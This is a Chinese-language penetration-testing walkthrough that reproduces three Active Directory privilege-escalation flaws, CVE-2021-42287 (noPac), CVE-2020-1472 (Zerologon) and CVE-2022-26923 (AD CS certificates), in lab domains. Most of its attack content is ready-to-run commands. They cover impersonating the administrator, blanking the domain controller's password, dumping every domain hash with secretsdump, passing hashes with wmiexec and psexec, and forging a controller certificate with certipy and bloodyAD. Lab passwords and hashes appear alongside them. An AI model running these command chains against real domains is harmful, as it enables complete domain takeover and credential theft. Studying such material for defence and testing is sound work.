CVE-2021-42287#
由于 Active Directory 没有对域中计算机和服务器账号进行验证,经过身份验证的攻击者利用该漏洞绕过完全限制,可将域中普通用户权限提升为域管理员权限并执行任意代码。
利用条件#
前提条件:一个域内普通账号 影响版本:Windows 基本全系列
漏洞复现#
当前场景如下,目前已经获得了 Web Server 的主机权限和 webadmin 这个域成员的账号和密码,来使用 CVE-2021-42287 漏洞来攻击域控主机 这里我们可以使用 nopac 脚本来进行利用 在攻击前先将该域名和 IP 地址绑定在 hosts 中
检测是否存在漏洞
noPac.exe scan -domain god.org -user webadmin -pass admin!@#45
漏洞存在,接下来我们使用域普通用户的 TGT,利用漏洞请求 TGS 申请域控机器账户 cifs 服务的 ST 凭证
noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org --impersonate administrator -dump -use-ldap
生成票据后我们再来查看一下当前电脑上所存在的票据
klist
发现有一条和域控建立的票据,这里我们直接使用 psexec 连接即可
PsExec \\owa2010cn-god.god.org cmd
CVE-2020-1472#
CVE-2020-1472 是一个 windows 域控中最严重的远程权限提升漏洞,攻击者通过 NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限
首先先获取域控的计算机名
net group "domain controllers" /domain
然后使用测试脚本去检测该域控是否存在漏洞
python zerologon_tester.py owa2010cn-god 192.168.3.21
然后使用 exp 连接 DC 清空凭证
python cve-2020-1472-exploit.py OWA2010CN-GOG 192.168.3.21
执行后,会将 DC 的密码置空,然后我们再使用空密码连接将域内的 HASH 导出出来
secretsdump.exe "god.org/owa2010cn-god$@192.168.3.21" -no-pass
这时我们在使用域控的 hash 去进行 PTH 连接,拿到域控权限
wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/admin
CVE-2022-26923#
该漏洞允许低权限用户在安装了 Active Directory 证书服务(AD CS)服务器角色的默认 Active Directory 环境中将权限提升为域管理员。现在已经很少没有安装 AD CS 的大中型 Active Directory 环境,所以该漏洞危害和利用性都较强。
利用条件#
前提条件:
- 域内普通账号
- 域内存在证书服务器
影响版本:win8.1、win10、win11、Windows Server 2012 R2、Windows Server2016、Windows Server2019、Windows Server2022 等版本
环境搭建#
首先准备一台已搭建域服务的主机,这里选择 Windows Server 2012R2 版本。因为这个漏洞基于证书服务,所以需要 DC 中安装 Active Directory 证书服务。点击添加角色和功能,默认下一步直到下图,选择安装 Active Directory 证书服务:下一步到角色服务中,勾选证书颁发机构、证书颁发机构 web 注册、证书注册策略 Web 服务点击安装即可
安装完成后需要配置 Active Directory 证书服务,在服务器管理器中单击该选项。选择刚刚安装时所勾选的三个服务后默认下一步到 CA 名称中配置 CA 证书后,下一步到服务器证书在服务器证书中,选择证书并稍后为 SSL 分配,点击下一步下一步配置查看是否配置成功:在证书颁发机构中查看是否存在证书模板该漏洞的利用条件为获得一个域内普通用户权限,所以需要在 DC 上创建一个用户,之后便会使用这个用户的凭据进行域控提权操作。
漏洞利用#
获取 CA 名称#
目前我们的已知信息
域控Win 2012
IP:192.168.45.152
主机名:DC-2012
域名:tidesec.local
用户:test/Pass123
接下来第一步我们需要获取该域内的 CA 名称
- 任意域内主机查询
查看是否存在证书驱动器
Get-PSDrive cert | ft -AutoSize
列出本地机器账户的证书
Get-ChildItem Cert:\LocalMachine\Root
- 域控上查询
certutil
certutil -config - -ping
3. 合理猜测 根据域控主机名和域名进行猜测
域控主机名:DC-2012
域名:tidesec.local
CA名称:tidesec-DC-2012-CA
申请证书#
在申请证书前,需要先修改一下我们攻击机的 hosts 文件,将域名和 ip 地址对应一下
vim /etc/hosts
192.168.45.152 tidesec.local
192.168.45.152 tidesec-DC-2012-CA
192.168.45.152 DC-2012.tidesec.local
这里需要使用到 certipy 工具,在使用前先进行安装
python3 setup.py install
安装后使用我们刚刚所获得的低权限用户、CA 名、域控计算机名来生成一个证书
certipy req tidesec.local'test:Pass123'@DC-2012.tidesec.local -ca tidesec-DC-2012-CA -template User
申请 ceshi 用户证书账号成功后,执行命令来验证该证书,获取其 NT hash 值
certipy auth -pfx test.pfx
成功获取到了 NT hash,说明测试环境没有问题,接下来需要使用 bloodyAD 来新建一个机器账号 在新建账号前我们先观察一下,当前域控下的 Computers 下是没有账号的,接下来新建一个
python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 addComputer test2 'Test12345'
这时再来观察下域控中成功添加了一个 test2 的机器账户,接下来设置其 dNSHostName 属性为域控服务器属性
python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 setAttribute 'CN=test2,CN=Computers,DC=tidesec,DC=local' dNSHostName '["DC-2012.tidesec.local"]'
接下来我们再用刚新建的机器账号 test2 去申请证书,其实是申请的域控 DC$ 的证书
certipy req 'tidesec.local/test2$:Test12345@192.168.45.152' -template Machine -dc-ip 192.168.45.152 -ca tidesec-DC-2021-CA
可以看到此时的证书不是 test.pfx,是主机名 dc-2012.pfx,颁发的是域控制器的计算机账户证书,。接下来我们使用该证书进行认证,Certipy 工具检索到了 DC-2012$ 的 NTLM hash。
certipy auth -pfx dc-2012.pfx -dc-ip 192.168.45.152
然后我们可以使用 impacket 工具包中的 secretsdump.py 脚本来执行 DCSync 攻击,导出域内用户 Hash
python3 secretsdump.py 'tidesec.local/DC-2012$@DC-2012.tidesec.local' -hashes :20d4bd2f70725811f4e39fe77166e00b
之后在使用 wmiexec.py 脚本去获得域控账户的执行权限
python3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7